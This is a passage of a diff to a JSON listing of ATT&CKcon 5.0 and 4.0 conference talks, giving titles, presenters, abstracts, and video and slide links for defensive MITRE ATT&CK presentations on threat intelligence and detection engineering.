MITRE ATT&CK Framework has significantly evolved over the last ten years and its impact on cybersecurity teams is paramount. Likewise, the cyber threat intelligence (CTI) and detection engineering (DE) domains have matured in its principles and outcomes. ATT&CK influences CTI and DE practices by allowing varied cybersecurity teams to communicate tradecraft in a singular language, track and prioritize security threat coverage, and assess threat actor capabilities. However, integrating and maximizing modern ATT&CK use cases in preexisting CTI and DE programs without many resources can be a challenging overhaul. In this presentation, we will discuss the arc of CTI's and DE's evolution due to the prevalence of ATT&CK. We will explore how it can be integrated in cybersecurity programs by providing specific use cases on gap analysis, threat actor prioritization, and blue team tools like VirusTotal and AttackIQ. Finally, we will provide recommendations on building and automating CTI and DE practices that incorporate ATT&CK regardless of resource strain. After attending this talk, attendees will understand how to identify, prioritize, and implement new opportunities to incorporate ATT&CK in CTI and DE programs, impacting the effectiveness of these practices for their respective organizations.", + "video": "https://www.youtube.com/watch?v=YJcUbvIAMCQ&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=4", + "slides": "https://www.slideshare.net/slideshow/birds-of-a-feather-the-evolution-of-threat-actor-prioritization-gap-analysis-and-detection-curation-using-att-ck-brett-tolbert-and-abdul-williams/274014945" + }, + { + "title": "Practical Application of MITRE ATT&CK: Real World Usage in a Corporate Environment", + "presenters": [ + { + "names": [ + "Marcelle Lee" + ], + "organization": "Equinix" + } + ], + "description": "Marcelle Lee, principal information security engineer, Equinix, deep dives on the practical application of MITRE ATT&CK in a corporate environment -- from research to break down TTPs to better understand threats to security controls gap analysis to better identify where gaps may exist based on identified TTPs.", + "video": "https://www.youtube.com/watch?v=btDfr-y6gnI&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=7", + "slides": "https://www.slideshare.net/slideshow/practical-application-of-mitre-att-ck-real-world-usage-in-a-corporate-environment-marcelle-lee/273715567" + }, + { + "title": "ATT&CK Updates: Defenses", + "presenters": [ + { + "names": [ + "Lex Crumpton" + ], + "organization": "MITRE ATT&CK" + } + ], + "description": "ATT&CK Defensive Lead Lex Crumpton discussed the latest mitigations added for defenders, the work by the Center for Threat-Informed Defense on sensor mappings to ATT&CK, and new SPL analytics to make it easier for defenders to optimize their detection engineering processes.", + "video": "https://www.youtube.com/watch?v=WLAOBQ93-t4&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=3", + "slides": "https://www.slideshare.net/slideshow/mitre-att-ck-updates-defensive-att-ck-lex-crumpton/273593812" + }, + { + "title": "What sets us apart? Industries vs. infrastructure as differentiator for technique abuse and threat prevalence", + "presenters": [ + { + "names": [ + "Alexandrea Berninger", + "Brian Donohue" + ], + "organization": "Red Canary" + } + ], + "description": "A core tenet of threat intelligence is the idea that different threats affect different organizations. However, an organization’s industry alone is rarely a key factor in predicting the threats they are likely to face. We know this because we used the North American Industry Classification System (NAICS) to categorize more than 1,000 organizations into sectors and analyzed the disparity in ATT&CK technique abuse and threat prevalence between them. In this talk, we will leverage hundreds of petabytes of data from realized threats to describe the nuanced differences in detection data that do exist between organizations in different industries. We will also explain why those differences likely exist, and we will explore explore the factors within organizations that are better predictors of threat exposure than industry or sector alone. By attending this talk, you will gain a better understanding of: - ATT&CK technique and threat trends across the 20 primary NAICS sectors - factors within organizations that play an important role in differentiating the threats they face - how to think about an organization’s industry or sector during the threat modeling process - the predominance of advantageous adversaries in the threat landscape", + "video": "https://www.youtube.com/watch?v=0icvA49Li1s&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=15", + "slides": "https://www.slideshare.net/slideshow/what-sets-us-apart-industries-vs-infrastructure-as-differentiator-for-technique-abuse-and-threat-prevalence-alex-berninger-and-brian-donohue/273278600" + }, + { + "title": "This is Why We Don't Shout \"Bingo\": Analyzing ATT&CK Integration in Endpoint Detection Rulesets", + "presenters": [ + { + "names": [ + "Apurva Virkud" + ], + "organization": "University of Illinois Urbana-Champaign" + } + ], + "description": "In spite of early and frequent warnings not to shout “Bingo,” ATT&CK technique coverage continues to be touted by security products and is used by organizations and purchasers as the basis for evaluating security posture. In coverage-based assessments, having at least one detection rule for as many techniques as possible is prioritized over the depth or quality of detections. But why is this such a bad idea? To understand the implications of coverage-based assessments, we examine the ATT&CK technique annotations in four major endpoint detection rulesets: Carbon Black, Splunk, Elastic, and Sigma. We find that large regions of the Enterprise ATT&CK Matrix are unimplemented in all rulesets (53 Techniques), in part due to the fact that many techniques are unrealizable as endpoint detection rules. We go on to consider how consistently different rulesets apply technique annotations – even when attempting to detect the same malicious entity, products completely disagree about the appropriate ATT&CK technique annotations 51% of the time, while fully agreeing just 2.7% of the time. Put another way, “covering” one technique may not even suggest protection from the same threat across different products. These findings underscore the dangers of coverage-based ATT&CK assessments.", + "video": "https://www.youtube.com/watch?v=7A-5lFGMBvs&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=7", + "slides": "https://www.slideshare.net/slideshow/this-is-why-we-don-t-shout-bingo-analyzing-att-ck-integration-in-endpoint-detection-rulesets-apurva-virkud/273715558" + }, + { + "title": "Confessions of an Ex-FBI Profiler: 3 Things I Wish I Knew About MITRE ATT&CK", + "presenters": [ + { + "names": [ + "Tim Pappa" + ], + "organization": "Walmart Global Tech" + } + ], + "description": "This presentation is a confession of a former FBI profiler who never used MITRE ATT&CK when applying cyber behavioral analysis to design approaches to behaviorally exploit attackers. This cyber deception practitioner’s presentation will share three lessons learned about designing behaviorally based cyber deception and influence campaigns against attackers and attack groups, demonstrating how MITRE ATT&CK could have guided the design of deception and influence campaigns to make them more plausible and more effective at driving attacker behaviors online. This presentation will reference ATT&CK’s historical archive on Volatile Cedar as an example. These confessional lessons learned suggests that MITRE ATT&CK can provide an instrumental design step in conceptualizing and materializing behaviorally based cyber deception and influence campaigns.", + "video": "https://www.youtube.com/watch?v=LFmLiig00h0&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=12", + "slides": "https://www.slideshare.net/slideshow/confession-3-things-i-wish-i-knew-about-mitre-att-ck-when-i-was-an-fbi-profiler-tim-pappa/273715520" + }, + { + "title": "ATT&CK Updates: CTI", + "presenters": [ + { + "names": [ + "Joe Slowik" + ], + "organization": "MITRE ATT&CK" + } + ], + "description": "ATT&CK CTI Lead Joe Slowik, discusses the latest ATT&CK improvements to hit its cyber threat intelligence goals: capture the relevant threat landscape in a timely fashion, enhance coverage on additional geographics and e-crime actors, and leverage campaign objects for more accurate representation of how activity changes over time.", + "video": "https://www.youtube.com/watch?v=dFLY-tafMAY&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=10", + "slides": "https://www.slideshare.net/slideshow/mitre-att-ck-updates-cti-path-forward-joe-slowik/273593810" + }, + { + "title": "From ATT&CK to CL&IM: Cyber Insurance Data Modeling using MITRE ATT&CK and beyond", + "presenters": [ + { + "names": [ + "Matt Berninger" + ], + "organization": "Marsh McLennan" + } + ], + "description": "Before ATT&CK, defenders and intelligence analysts couldn't meaningfully compare notes, since different terms were used for different things, and there was no central repository of definitions to rely on. By providing a common taxonomy of TTPs, MITRE ATT&CK has allowed for the type of coordination, comparison, and collaboration that over the last decade has made defenders meaningfully better at tracking and stopping adversaries. In the world of cyber insurance, we face a similar problem. We lack common definitions and frameworks. When insurers wish to share data analysis or trends, the signals get confused. What is the difference between a ransomware claim, a phishing claim, and a malware claim? When does BEC involve a compromise versus simple impersonation fraud? These definitions matter when we use this data to inform risk profiles, control investments, insurance pricing, and business decisions. Property insurance doesn't confuse hurricanes and tornadoes, and neither should cyber insurance. In this talk we will outline the framework we've developed at Marsh McLennan to tackle this issue, and how we connect to and integrate MITRE ATT&CK. We hope to illuminate some issues, and provide a path forward to clarify the confusion.", + "video": "https://www.youtube.com/watch?v=dRglzlBHPBk&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=14", + "slides": "https://www.slideshare.net/slideshow/from-att-ck-to-cl-im-cyber-insurance-data-modeling-using-mitre-att-ck-and-beyond-matt-berninger/273278603" + }, + { + "title": "A Guide to Evaluating Threat Detection Coverage", + "presenters": [ + { + "names": [ + "Eli Schorr" + ], + "organization": "Accenture" + } + ], + "description": "Using ATT&CK and MITRE CTID’s StP Frameworks to Assess Threat Detection Resilience - A Guide to Evaluating Threat Detection Coverage. In today's evolving cybersecurity landscape, enhancing threat detection capabilities is crucial. This presentation introduces the practical application of MITRE CTID’s new Summitting the Pyramid (StP) framework to evaluate and improve threat detection resilience using the ATT&CK framework. The StP framework offers a robust methodology to enhance threat detection analytics by evaluating them against the adversary’s cost to evade. It addresses the common issue where many analytics depend heavily on specific tools or artifacts, making them susceptible to low-cost evasion techniques by adversaries. Our journey with StP will uncover its evolution and key concepts such as core ATT&CK techniques, core procedures, preexisting and TA-brought tools, and ephemeral IOCs. We will engage the audience in a poll on real-world threat detection rule bypass strategies. Applying the StP framework to ATT&CK, we'll demonstrate how to evaluate and improve threat detection rule resilience through case studies from real-world assessments. The session will illustrate how integrating the ATT&CK and StP frameworks creates a comprehensive threat risk map, enhancing the qualitative depth of ATT&CK coverage. Attendees will leave with practical knowledge on applying the StP framework, understanding its value, and integrating it with the ATT&CK framework for a robust threat detection strategy.", + "video": "https://www.youtube.com/watch?v=4QlODaxL7KY&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=9", + "slides": "https://www.slideshare.net/slideshow/using-att-ck-and-mitre-ctid-s-stp-frameworks-to-assess-threat-detection-resilience-a-guide-to-evaluating-threat-detection-coverage-eli-schorr/273717977" + }, + { + "title": "Bridging the Gap: Enhancing Detection Coverage with Atomic Red Team, Sigma, and MITRE ATT&CK", + "presenters": [ + { + "names": [ + "Hare Sudhan Muthusamy" + ], + "organization": "Walmart Global Tech" + } + ], + "description": "Detection Coverage is a metric that evaluates how effectively an organization's detection capabilities align with threat actors' techniques, tactics, and procedures (TTPs). Manually assessing detection coverage against the MITRE ATT&CK matrix is time-consuming for organizations, especially considering the many security measures in use, such as SIEM, EDR, and more. Even if organizations attempt complex automation to generate detection coverage from all security products, the detections are not guaranteed to be accurate and up-to-date. This session addresses the issues mentioned above and presents how to perform continuous execution and validation with a minimal infrastructure via GitHub Actions and Docker containers to create a replicated lab environment where we execute atomic tests using Atomic Red Team, generate and send logs to a centralized logging infrastructure, and continuously validate them against Sigma detections. It also demonstrates the immense value of mapping attacks and detections against the MITRE ATT&CK Matrix and visualizes the results using the ATT&CK Navigator. These visualizations offer valuable insights into the organization's security posture, highlighting any missing detections. Furthermore, this talk will provide insights into the hurdles of utilizing Github Actions and Docker containers for threat hunting.", + "video": "https://www.youtube.com/watch?v=fZdM2rDUfKk&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=11", + "slides": "https://www.slideshare.net/slideshow/bridging-the-gap-enhancing-detection-coverage-with-atomic-red-team-sigma-and-mitre-att-ck-hare-sudhan-muthusamy/273715669" + }, + { + "title": "Closing Remarks - Day 1", + "presenters": [ + { + "names": [ + "Amy Robertson", + "Joe Slowick" + ], + "organization": "MITRE" + } + ], + "description": "MITRE's Amy Roberston and Joe Slowik close out Day 1 of ATT&CKcon 5.0 and how best to use ATT&CK to better understand the adversary.", + "video": "https://www.youtube.com/watch?v=xgfindky7l8&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=14" + }, + { + "title": "Featured Speaker: Mark Singer", + "presenters": [ + { + "names": [ + "Mark Singer" + ], + "organization": "CISA Threat Hunting" + } + ], + "description": "Mark Singer, CISA Threat Branch Chief, discusses how cyber is a team sport and dives into a few successful cases studies such as defending Ukraine from Russia.", + "video": "https://www.youtube.com/watch?v=G0_RGhLy2Sw&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=20" + }, + { + "title": "Lifecycle-Aware Power Side-Channel Malware Detection", + "presenters": [ + { + "names": [ + "Alexander Cathis" + ], + "organization": "The University of Texas at Austin" + } + ], + "description": "Malware detectors analyzing the power side-channel have been demonstrated as an effective out-of-band defense for high-assurance embedded systems. Prior work has mainly targeted simple single-core systems focusing on the noisy exploit stages of an attack lifecycle. Such approaches do not scale to modern embedded multi-core platforms running parallel workloads. Detection performance is further exacerbated against inherently stealthy or deliberately evasive attack lifecycles. In this talk, we propose a novel lifecycle-aware power-based malware detector to defend complex multi-core embedded systems against evasive and non-evasive attack lifecycles. We briefly describe an ensemble of state-specific one-class detectors that are trained on different benign operating states and then combined to scale to complex benign scenarios. Next, we introduce the key realization that real-world attacks require a lifecycle of multiple stages to prime the attack, execute it, and perform post-exploit actions. By augmenting the ensemble detector with a lifecycle-aware hidden Markov model that captures general attack lifecycles, we greatly improve detection performance. We test our detector against attack lifecycles formed according to the MITRE ATT&CK matrix using various microarchitecture, software, and network actions and show our lifecycle-aware detector’s strong performance against attack lifecycles that have evaded traditional detectors.", + "video": "https://www.youtube.com/watch?v=7w2jLJWcKjg&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=26", + "slides": "https://www.slideshare.net/slideshow/lifecycle-aware-power-side-channel-malware-detection-alexander-cathis/273278604" + }, + { + "title": "Next-Gen Threat-Informed Defense: Human-Assisted Intelligent Agents", + "presenters": [ + { + "names": [ + "Shravan Ravi", + "Rajesh Sharma" + ], + "organization": "AttackIQ" + } + ], + "description": "AttackIQ's Rajesh Sharma and Shravan Ravi discuss how human-assisted intelligence agents can help in threat-informed defense.", + "video": "https://www.youtube.com/watch?v=EH7lUFq7avU&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=28", + "slides": "https://www.slideshare.net/slideshow/next-gen-threat-informed-defense-human-assisted-intelligent-agents-rajesh-sharma-and-shravan-ravi/274015009" + }, + { + "title": "ATT&CK Updates: Enterprise", + "presenters": [ + { + "names": [ + "Casey Knerr" + ], + "organization": "MITRE ATT&CK" + } + ], + "description": "Casey Knerr, ATT&CK Enterpise Lead, discusses the changes to ATT&CK based on indentity-as-a-service platforms.", + "video": "https://www.youtube.com/watch?v=BM3a5pYECsk&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=22", + "slides": "https://www.slideshare.net/slideshow/mitre-att-ck-updates-enterprise-casey-knerr/273593811" + }, + { + "title": "ATT&CK From Basic Principles", + "presenters": [ + { + "names": [ + "Tareq ALKhatib" + ], + "organization": "Lacework (A Fortinet Company)" + } + ], + "description": "We propose a framework where a set of entities (nodes) and the interactions between them (edges) is defined to form an Ontology. Once defined, we attempt to derive many of the concepts defined in ATT&CK, including Data Sources as edges between nodes; Techniques as one or more interactions between entities with some properties specified for the interactions or the entities; and Detections being similar to techniques with possibly different properties. We will also briefly give examples of how this system can be used to judge the strength of a detection rule in a manner similar to MITRE Engenuity’s “Submitting The Pyramid”. We will finally end the presentation with examples of how this framework can be used for Threat Modeling, especially with broader Techniques. At the conference, we intend to release a mapping of as many Techniques as we can to this Ontology framework as well as a list of “Environment-dependent Entities” for use in Threat Modeling.", + "video": "https://www.youtube.com/watch?v=qjptvA-q300&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=21", + "slides": "https://www.slideshare.net/slideshow/att-ck-from-basic-principles-tareq-alkhatib/273278605" + }, + { + "title": "Sources of ATT&CK: A Bibliographic Journey through Enterprise ATT&CK", + "presenters": [ + { + "names": [ + "Robert Funches" + ], + "organization": "CACI International" + } + ], + "description": "Pop quiz: do you know what’s at the bottom of the page for every ATT&CK technique, group, software, and mitigation? (No cheating!) It’s a list of references: the cyber threat intelligence that underpins ATT&CK and provides valuable information about adversary tactics and techniques. Peel back that layer, though, and you’ll discover the history of ATT&CK and the broader cybersecurity landscape. In this talk, learn how to work programmatically with the data in ATT&CK, explore the references in ATT&CK through visualizations and analysis, and give back to the ATT&CK community through recommendations and calls-for-action.", + "video": "https://www.youtube.com/watch?v=cP0eZei2ogk&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=30", + "slides": "https://www.slideshare.net/slideshow/sources-of-att-ck-a-bibliographic-journey-through-enterprise-att-ck/273278608" + }, + { + "title": "ATT&CK Updates: Software", + "presenters": [ + { + "names": [ + "Jared Ondricek" + ], + "organization": "MITRE ATT&CK" + } + ], + "description": "Jared Ondricek is a Principal DevOps Engineer in the Software Engineering Innovation Center at MITRE. He manages the ATT&CK website, Navigator, Workbench, mitreattack-python package, public facing TAXII server, and other infrastructure in support of the MITRE ATT&CK team. The TAXI 2.0 server is retiring on Dec. 18, 2024, and users should move to TAXI 2.1. Jared also goes over the latest ATT&CK Navigator updates.", + "video": "https://www.youtube.com/watch?v=feTCFaXRNw0&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=23", + "slides": "https://www.slideshare.net/slideshow/mitre-att-ck-updates-software-jared-ondricek/273284273" + }, + { + "title": "SaaSy ATT&CK – Practical ATT&CK usage for SaaS-based Telemetry", + "presenters": [ + { + "names": [ + "Aaron Shelmire" + ], + "organization": "Abstract Security" + } + ], + "description": "The ATT&CK Matrices have proven invaluable for Endpoint, Network, IoT and Cloud detection and threat research. As organizations adopt more SaaS software, and organizations gain visibility into their SaaS-estates, how can we apply ATT&CK to SaaS? In this talk we’ll share how the Abstract Security team has used ATT&CK to help drive threat research into SaaS attacks, and used ATT&CK to assist detection engineering of SaaS telemetry.", + "video": "https://www.youtube.com/watch?v=-aPkmjyvrgg&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=29", + "slides": "https://www.slideshare.net/slideshow/saasy-att-ck-practical-att-ck-usage-for-saas-based-telemetry-aaron-shelmire/273715634" + }, + { + "title": "Every Cloud Has a Purple Lining", + "presenters": [ + { + "names": [ + "Arun Seelagan" + ], + "organization": "CISA" + } + ], + "description": "This talk presents how ATT&CK was used to fill gaps in cloud technique coverage during a recent purple team exercise. By emulating threat actor tactics in a simulated hybrid cloud environment, a joint team of incident responders and data scientists was able to discern strengths and deficiencies in cloud data sources and formulate detection logic for malicious behaviors. These outcomes were achieved by systematically mapping red team activities to ATT&CK and tracking blue team coverage using a purple team campaign management capability. As a result, cloud visibility gaps are being closed and ATT&CK-annotated detection rules operationalized to accelerate threat detection on critical networks.", + "video": "https://www.youtube.com/watch?v=o-dUEMnwvvI&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=24", + "slides": "https://www.slideshare.net/slideshow/every-cloud-has-a-purple-lining-arun-seelagan/273715535" + }, + { + "title": "The Missing Tactic Techniques of ATT&CK \"Collection\"", + "presenters": [ + { + "names": [ + "Rich Johnson" + ], + "organization": "Thales TCT/Imperva" + } + ], + "description": "Databases are ubiquitous, so much so there appears to be insufficient emphasis by the MITRE ATT&CK Framework on the Collection tactic regarding access of data from a database. The specific technique for “Collection” is “Data from an information repository”. Since databases are one of the two primary methods of storing data (in a database or a file), this tactic/technique should be considered more closely. Data does not exist in a vacuum. It is accessed/managed by applications in order to be useful. A key target of a hacker who wants to steal data is a database. There are many ways to collect such data – eavesdropping/man in the middle attacks of data in transit, capturing data at the point of collection (such as point of sale devices), exfiltrating files which contain sensitive data, etc. But the mother lode is the database. By watching how and what data is accessed from a database (as an “authorized” user) it is possible to determine whether such access constitutes an attempted data theft. This is the equivalent of catching a bank robber in the vault.", + "video": "https://www.youtube.com/watch?v=zoXm0Ajq_w0&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=31", + "slides": "https://www.slideshare.net/slideshow/the-mitre-att-ck-collection-tactic-is-missing-very-important-techniques-data-from-a-database-structured-rich-johnson/273278602" + }, + { + "title": "I'll take ATT&CK techniques that can be done for $1000, Alex", + "presenters": [ + { + "names": [ + "Ben Langrill" + ], + "organization": "LLC" + } + ], + "description": "How \"hard\" is it to do a given ATT&CK technique? Are they all the same? Clearly Phishing is a lot easier than Hardware additions for initial access. How many ATT&CK techniques can be done within a budget of say $1000? Answering these questions is a powerful step towards knowing what kinds of threats you will face. Building on the ATT&CKcon 4.0 Lightning Talk \"Adjectives for ATT&CK\", this presentation continues the work of organizing offensive techniques into levels of effort. This enables better training, prediction of adversary capabilities and imposing the maximum cost on threat actors.", + "video": "https://www.youtube.com/watch?v=03Ka4RM0LSM&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=25", + "slides": "https://www.slideshare.net/slideshow/i-ll-take-att-ck-techniques-that-can-be-done-for-1000-alex-ben-langrill/273715590" + }, + { + "title": "Lightning Talk: ATT&CK Mapping the Cuckoo’s Egg", + "presenters": [ + { + "names": [ + "Jon Tran" + ], + "organization": "The Chertoff Group" + } + ], + "description": "", + "video": "https://www.youtube.com/watch?v=HQS3f8Ju4_E&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&t=62s", + "slides": "https://www.slideshare.net/slideshow/att-ckcon-5-0-lightning-talks-various-speakers/273593813#2" + }, + { + "title": "Lightning Talk: APT Tracking Simplified: A Visual Guide for Threat Intelligence", + "presenters": [ + { + "names": [ + "Hossein Jazi" + ], + "organization": "Fortinet" + } + ], + "description": "", + "video": "https://www.youtube.com/watch?v=HQS3f8Ju4_E&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&t=355s", + "slides": "https://www.slideshare.net/slideshow/att-ckcon-5-0-lightning-talks-various-speakers/273593813#7" + }, + { + "title": "Lightning Talk: Connecting the Dots Between IOAs and IOCs", + "presenters": [ + { + "names": [ + "Manish Kapoor" + ], + "organization": "TruKno" + } + ], + "description": "", + "video": "https://www.youtube.com/watch?v=HQS3f8Ju4_E&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&t=650s", + "slides": "https://www.slideshare.net/slideshow/att-ckcon-5-0-lightning-talks-various-speakers/273593813#12" + }, + { + "title": "Lightning Talk: A Risk Wonk’s Humble Request to Improve ATT&CK Reporting", + "presenters": [ + { + "names": [ + "Wade Baker " + ], + "organization": "Cyentia Institute / Virginia Tech" + } + ], + "description": "", + "video": "https://www.youtube.com/watch?v=HQS3f8Ju4_E&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&t=925s", + "slides": "https://www.slideshare.net/slideshow/att-ckcon-5-0-lightning-talks-various-speakers/273593813#17" + }, + { + "title": "Lightning Talk: Enter the Flow", + "presenters": [ + { + "names": [ + "Ivan Ninichuck" + ] + } + ], + "description": "", + "video": "https://www.youtube.com/watch?v=HQS3f8Ju4_E&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&t=1237s", + "slides": "https://www.slideshare.net/slideshow/att-ckcon-5-0-lightning-talks-various-speakers/273593813#22" + }, + { + "title": "Lightning Talk: ATT&CK is (Ken)Enough", + "presenters": [ + { + "names": [ + "Reid Gilman" + ], + "organization": "Boston Children's Hospital" + } + ], + "description": "", + "video": "https://www.youtube.com/watch?v=HQS3f8Ju4_E&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&t=1480s", + "slides": "https://www.slideshare.net/slideshow/att-ckcon-5-0-lightning-talks-various-speakers/273593813#23" + }, + { + "title": "Updates from the Center for Threat-Informed Defense", + "presenters": [ + { + "names": [ + "Jon Baker" + ], + "organization": "Center for Threat-Informed Defense" + } + ], + "description": "Jon Baker of MITRE's Center for Threat-Informed Defense celebrates the Center's 5th anniversary, detailing what they've done, but also what new research is coming out to help cyber defenders.", + "video": "https://www.youtube.com/watch?v=t0tv0jpiIYY&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=32", + "slides": "https://www.slideshare.net/slideshow/updates-from-center-for-threat-informed-defense-jon-baker/273278607" + }, + { + "title": "Couch Talks", + "description": "Join Cat Self from the ATT&CK team as she interviews ATT&CKcon presenters to get a behind-the-scenes look into their backgrounds and key insights from their talks.

    \n
  1. Recording - Adam Pennington, MITRE
  2. \n
  3. Recording - Alexandrea Berninger and Brian Donohue, Red Canary
  4. \n
  5. Recording - Apurva Virkud, Illinois Urbana-Champaign
  6. \n
  7. Recording - Nicole Hoffman and James Nutland, Cisco Talos
  8. \n
  9. Recording - Alex Cathis, The University of Texas at Austin
  10. \n
  11. Recording - Ben Langrill, Optimizer
  12. \n
  13. Recording - Jon Baker, MITRE
  14. \n
  15. Recording - Rich Johnson, Thales TCT/Imperva
  16. \n
  17. Recording - Robert Funches, CACI International
  18. \n
  19. Recording - Rajesh Sharma and Shravan Ravi, AttackIQ
  20. \n
  21. Recording - Tareq Alkhatib, Lacework
  22. \n
" + }, + { + "title": "Closing Remarks - Day 2", + "presenters": [ + { + "names": [ + "Amy Robertson", + "Joe Slowick" + ], + "organization": "MITRE" + } + ], + "description": "Amy Robertson and Joe Slowick of MITRE ATT&CK close out ATT&CKcon 5.0 with a thank you to the ATT&CK community for building up ATT&CK and helping them bring the latest threat-informed defense resources to countries that have the least amount of cyber resources and training.", + "video": "https://www.youtube.com/watch?v=B53k1EgaWGE&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=40" + } ] - }, - { + }, + { "date": "October 2023", "title": "ATT&CKcon 4.0", "description": "We are thrilled and express our gratitude to everyone who participated in ATT&CKcon 4.0!

This year we were privileged to have another range of speakers who shared their unique insights and experiences, further enriching the knowledge pool of our ATT&CK community. We invite you to continue to watch and share these insightful talks!

Click here to explore the talks from ATT&CKcon 4.0 on our YouTube playlist!", "banner_img": "/theme/images/attackcon4/ATTACKCON_4.0_banner.png", "sponsors_img_list": [ - "/theme/images/attackcon4/analyst1.png", - "/theme/images/attackcon4/ardalyst.png", - "/theme/images/attackcon4/cyware.png", - "/theme/images/attackcon4/interpres.png", - "/theme/images/attackcon4/opentext.png", - "/theme/images/attackcon4/pentera.png", - "/theme/images/attackcon4/prelude.png", - "/theme/images/attackcon4/safebreach.png", - "/theme/images/attackcon4/thirdwave.png", - "/theme/images/attackcon4/trendmicro.png", - "/theme/images/attackcon4/vectr.png", - "/theme/images/attackcon4/tidalcyber.png" + "/theme/images/attackcon4/analyst1.png", + "/theme/images/attackcon4/ardalyst.png", + "/theme/images/attackcon4/cyware.png", + "/theme/images/attackcon4/interpres.png", + "/theme/images/attackcon4/opentext.png", + "/theme/images/attackcon4/pentera.png", + "/theme/images/attackcon4/prelude.png", + "/theme/images/attackcon4/safebreach.png", + "/theme/images/attackcon4/thirdwave.png", + "/theme/images/attackcon4/trendmicro.png", + "/theme/images/attackcon4/vectr.png", + "/theme/images/attackcon4/tidalcyber.png" ], "presentations": [ - { - "title": "Civil Society, Pegasus, and Predator: What Sophisticated Spyware Means For Us As Defenders", - "presenters": [ - { - "names": ["Runa Sandvik"], - "organization": "Granitt" - } - ], - "description": "ATT&CKcon 4.0 Keynote", - "video": "https://www.youtube.com/watch?v=U1T0GHMSlWE&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=1", - "slides": "https://www.slideshare.net/MITREATTACK/civil-society-pegasus-and-predator-what-sophisticated-spyware-means-for-us-as-defenders" - }, - { - "title": "MITRE ATT&CK Updates: State of the ATT&CK (ATT&CKcon 4.0 Edition)", - "presenters": [ - { - "names": ["Adam Pennington"], - "organization": "MITRE ATT&CK" - } - ], - "description": "Updates on what's going on with MITRE ATT&CK.", - "video": "https://www.youtube.com/watch?v=AQxBeUK0gis&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=2", - "slides": "https://www.slideshare.net/MITREATTACK/mitre-attck-updates-state-of-the-attck-attckcon-40-edition" - }, - { - "title": "Grow Up! Evaluating and Maturing Your SOC using MITRE ATT&CK", - "presenters": [ - { - "names": ["Lauren Brennan"], - "organization": "GuidePoint Security" - } - ], - "description": "Evaluating the maturity of your security operations program can be complex and challenging. From choosing the right framework to use, to understanding all aspects of how people, processes, and technologies can cohesively operate to grow your SOC, evaluating your security operations is crucial. This presentation will discuss how to evaluate your security operations program using the MITRE ATT&CK framework and talk about best practices for evaluations. We will explore how to identify gaps in your operations and improve your overall security posture with foundational activities. Attendees can expect to learn practical tips for leveraging the MITRE framework as well as actionable takeaways for evaluating and improving their own security operations.", - "video": "https://www.youtube.com/watch?v=8qvP5uDB2wc&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=4", - "slides": "https://www.slideshare.net/MITREATTACK/grow-up-evaluating-and-maturing-your-soc-using-mitre-attck" - }, - { - "title": "Dealing with ATT&CK's Different Levels of Details", - "presenters": [ - { - "names": ["Tareq Alkhatib"], - "organization": "Lacework, Inc" - } - ], - "description": "ATT&CK serves as the central language for CTI practitioners, Detection Engineers, Red Teamers, and more. Despite the benefit of having a central language, ATT&CK offers different levels of detail that might be useful for one team but not others. This paper points out some of these differences in the level of details available in ATT&CK, especially from the point of view of Detection Engineers, and focused on detection coverage.

In summary, while ATT&CK does not define the Procedure level of the TTP trinity, it is still useful to define the “Degrees of Freedom” an attacker has within a technique. Some techniques only have a limited number of possible Procedures, some techniques might have more, and others might be so open ended that they offer an unlimited number of possible procedures per technique. We examine this concept on both the Technique and Tactic levels and make the argument that techniques that have a high number of possible Procedures cannot be covered by Detection Engineers.

At the conference, we intend to release an ATT&CK Navigator layer to help Detection Engineers quickly filter out which Tactics and Techniques they need to focus on and which ones they simply cannot cover.", - "video": "https://www.youtube.com/watch?v=kgei3fsqNFw&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=5", - "slides": "https://www.slideshare.net/MITREATTACK/dealing-with-attcks-different-levels-of-detail" - }, - { - "title": "Tidying up your Nest: Validating ATT&CK Technique Coverage using EDR Telemetry", - "presenters": [ - { - "names": ["Adam Ostrich", "Jesse Brown"], - "organization": "Red Canary" - } - ], - "description": "Endpoint Detection & Response (EDR) telemetry offers defenders a powerful tool for catching threats. However, understanding how to validate ATT&CK technique coverage using EDR telemetry can be a challenge. As Detection Validation Engineers at a Managed Detection & Response (MDR) provider that ingests nearly a petabyte of endpoint telemetry every day, we’re in the unique and necessary position to analyze this telemetry at scale and validate its efficacy against common adversary tradecraft.

